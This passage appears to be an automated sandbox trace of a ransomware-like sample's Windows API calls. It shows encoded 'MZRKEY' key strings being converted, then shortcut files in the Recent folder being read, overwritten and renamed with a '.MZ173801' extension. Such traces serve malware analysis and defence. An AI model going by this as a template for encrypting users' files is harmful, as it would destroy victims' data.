lpWideCharStr="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", cchWideChar=2417, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 2417 [0147.427] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="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", cchWideChar=2417, lpMultiByteStr=0x252503c, cbMultiByte=2417, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="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", lpUsedDefaultChar=0x0) returned 2417 [0147.428] GetCurrentThreadId () returned 0xab4 [0147.428] GetCurrentThreadId () returned 0xab4 [0147.428] GetCurrentThreadId () returned 0xab4 [0147.428] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="MZRKEYPUBLICwoDDl8KASgLCnSbDhTM0wrtyXcK3FsK8OcKMw4kDa8KJcUIsfEpCJGIow6/Diy8aw4vCm8OLMgVOw5dhVmwywq0awrcQdcKKYz49w4/DvAsDwol4C1XCmMKARGULwobDgsOCa1TCsRBpw64GAi3Di8O/ERPCqjwMFGHDuWx6fMO4wpfCmD7CncKFK8OKW1DDjWcLaFLDih7CtcOKLcOeXgHDuR7DssOBwonCuU08woxdZUvCngPDvMOcLMOww60xwrRww6opwpcUw5zCicKaw43Ctkh2Hn7CjHgJWRNFwrgpTGwzw41ow6ACOMOCKlvDoMONw63CkcOuXMOUwrnCl8ODwoDDhMOdel8qwrAif8Kowp49w4Bqw6/CsMKbUMOLwpHCkXEew6TClMO3UcOjDw7DlCPChAdQQsOOUcOCNENvbMOeS37DgyLDp8K+wrnCgMOSw5RdNsOLRW4tA8K8I8KXw4N1wrvDvHFqwobDpsO1wqjChUMPSsKhDMOZcWzDt8KAQ8Kdwq/Cuj3Di8KWPWrCk8K4BXIWwrnCgsK6aF0MPh4Yw6lFwobCr2VlacKjw5DCjj7Cnh1yw4fDlcOHw6gRHMKRw5fCpcOuwr3DpMKJwqY6wp5/w7U=", cchWideChar=644, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 644 [0147.428] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="MZRKEYPUBLICwoDDl8KASgLCnSbDhTM0wrtyXcK3FsK8OcKMw4kDa8KJcUIsfEpCJGIow6/Diy8aw4vCm8OLMgVOw5dhVmwywq0awrcQdcKKYz49w4/DvAsDwol4C1XCmMKARGULwobDgsOCa1TCsRBpw64GAi3Di8O/ERPCqjwMFGHDuWx6fMO4wpfCmD7CncKFK8OKW1DDjWcLaFLDih7CtcOKLcOeXgHDuR7DssOBwonCuU08woxdZUvCngPDvMOcLMOww60xwrRww6opwpcUw5zCicKaw43Ctkh2Hn7CjHgJWRNFwrgpTGwzw41ow6ACOMOCKlvDoMONw63CkcOuXMOUwrnCl8ODwoDDhMOdel8qwrAif8Kowp49w4Bqw6/CsMKbUMOLwpHCkXEew6TClMO3UcOjDw7DlCPChAdQQsOOUcOCNENvbMOeS37DgyLDp8K+wrnCgMOSw5RdNsOLRW4tA8K8I8KXw4N1wrvDvHFqwobDpsO1wqjChUMPSsKhDMOZcWzDt8KAQ8Kdwq/Cuj3Di8KWPWrCk8K4BXIWwrnCgsK6aF0MPh4Yw6lFwobCr2VlacKjw5DCjj7Cnh1yw4fDlcOHw6gRHMKRw5fCpcOuwr3DpMKJwqY6wp5/w7U=", cchWideChar=644, lpMultiByteStr=0x253609c, cbMultiByte=644, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="MZRKEYPUBLICwoDDl8KASgLCnSbDhTM0wrtyXcK3FsK8OcKMw4kDa8KJcUIsfEpCJGIow6/Diy8aw4vCm8OLMgVOw5dhVmwywq0awrcQdcKKYz49w4/DvAsDwol4C1XCmMKARGULwobDgsOCa1TCsRBpw64GAi3Di8O/ERPCqjwMFGHDuWx6fMO4wpfCmD7CncKFK8OKW1DDjWcLaFLDih7CtcOKLcOeXgHDuR7DssOBwonCuU08woxdZUvCngPDvMOcLMOww60xwrRww6opwpcUw5zCicKaw43Ctkh2Hn7CjHgJWRNFwrgpTGwzw41ow6ACOMOCKlvDoMONw63CkcOuXMOUwrnCl8ODwoDDhMOdel8qwrAif8Kowp49w4Bqw6/CsMKbUMOLwpHCkXEew6TClMO3UcOjDw7DlCPChAdQQsOOUcOCNENvbMOeS37DgyLDp8K+wrnCgMOSw5RdNsOLRW4tA8K8I8KXw4N1wrvDvHFqwobDpsO1wqjChUMPSsKhDMOZcWzDt8KAQ8Kdwq/Cuj3Di8KWPWrCk8K4BXIWwrnCgsK6aF0MPh4Yw6lFwobCr2VlacKjw5DCjj7Cnh1yw4fDlcOHw6gRHMKRw5fCpcOuwr3DpMKJwqY6wp5/w7U=", lpUsedDefaultChar=0x0) returned 644 [0147.429] GetCurrentThreadId () returned 0xab4 [0147.429] GetCurrentThreadId () returned 0xab4 [0147.429] GetCurrentThreadId () returned 0xab4 [0147.429] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\BNpcCajc.lnk" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\microsoft\\windows\\recent\\bnpccajc.lnk"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x280 [0147.429] SetFilePointer (in: hFile=0x280, lDistanceToMove=0, lpDistanceToMoveHigh=0x19fa0c*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x19fa0c*=0) returned 0x0 [0147.429] SetFilePointer (in: hFile=0x280, lDistanceToMove=0, lpDistanceToMoveHigh=0x19fa04*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x19fa04*=0) returned 0x0 [0147.429] SetFilePointer (in: hFile=0x280, lDistanceToMove=0, lpDistanceToMoveHigh=0x19fa04*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x19fa04*=0) returned 0x54a [0147.429] SetFilePointer (in: hFile=0x280, lDistanceToMove=0, lpDistanceToMoveHigh=0x19fa04*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x19fa04*=0) returned 0x0 [0147.429] ReadFile (in: hFile=0x280, lpBuffer=0x253dea0, nNumberOfBytesToRead=0x54a, lpNumberOfBytesRead=0x19fa18, lpOverlapped=0x0 | out: lpBuffer=0x253dea0*, lpNumberOfBytesRead=0x19fa18*=0x54a, lpOverlapped=0x0) returned 1 [0147.430] CloseHandle (hObject=0x280) returned 1 [0147.430] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\BNpcCajc.lnk" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\microsoft\\windows\\recent\\bnpccajc.lnk"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x280 [0147.431] WriteFile (in: hFile=0x280, lpBuffer=0x253fed0*, nNumberOfBytesToWrite=0x54a, lpNumberOfBytesWritten=0x19fa24, lpOverlapped=0x0 | out: lpBuffer=0x253fed0*, lpNumberOfBytesWritten=0x19fa24*=0x54a, lpOverlapped=0x0) returned 1 [0147.432] CloseHandle (hObject=0x280) returned 1 [0147.434] MoveFileW (lpExistingFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\BNpcCajc.lnk" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\microsoft\\windows\\recent\\bnpccajc.lnk"), lpNewFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\BNpcCajc.lnk.MZ173801" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\microsoft\\windows\\recent\\bnpccajc.lnk.mz173801")) returned 1 [0147.434] GetCurrentThreadId () returned 0xab4 [0147.434] GetCurrentThreadId () returned 0xab4 [0147.434] GetCurrentThreadId () returned 0xab4 [0147.434] GetCurrentThreadId () returned 0xab4 [0147.434] GetCurrentThreadId () returned 0xab4 [0147.434] GetCurrentThreadId () returned 0xab4 [0147.434] FindNextFileW (in: hFindFile=0xa1b150, lpFindFileData=0x19fb50 | out: lpFindFileData=0x19fb50*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf3d0c1fa, ftCreationTime.dwHighDateTime=0x1d5f12a, ftLastAccessTime.dwLowDateTime=0xf3d0c1fa, ftLastAccessTime.dwHighDateTime=0x1d5f12a, ftLastWriteTime.dwLowDateTime=0xf3d0c1fa, ftLastWriteTime.dwHighDateTime=0x1d5f12a, nFileSizeHigh=0x0, nFileSizeLow=0x404, dwReserved0=0x10d3395a, dwReserved1=0x0, cFileName="br3Sl.lnk", cAlternateFileName="")) returned 1 [0147.434] FileTimeToLocalFileTime (in: lpFileTime=0x19fb64, lpLocalFileTime=0x19fac4 | out: lpLocalFileTime=0x19fac4) returned 1 [0147.435] FileTimeToDosDateTime (in: lpFileTime=0x19fac4, lpFatDate=0x19fb32, lpFatTime=0x19fb30 | out: lpFatDate=0x19fb32, lpFatTime=0x19fb30) returned 1 [0147.435] GetFileAttributesExW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\br3Sl.lnk" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\microsoft\\windows\\recent\\br3sl.lnk"), fInfoLevelId=0x0, lpFileInformation=0x19fa58 | out: lpFileInformation=0x19fa58*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf3d0c1fa, ftCreationTime.dwHighDateTime=0x1d5f12a, ftLastAccessTime.dwLowDateTime=0xf3d0c1fa, ftLastAccessTime.dwHighDateTime=0x1d5f12a, ftLastWriteTime.dwLowDateTime=0xf3d0c1fa, ftLastWriteTime.dwHighDateTime=0x1d5f12a, nFileSizeHigh=0x0, nFileSizeLow=0x404)) returned 1 [0147.435] GetFileAttributesW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\br3Sl.lnk" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\microsoft\\windows\\recent\\br3sl.lnk")) returned 0x20 [0147.435] SetFileAttributesW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\br3Sl.lnk", dwFileAttributes=0x80) returned 1 [0147.436] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="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", cchWideChar=2417, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 2417 [0147.436] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, 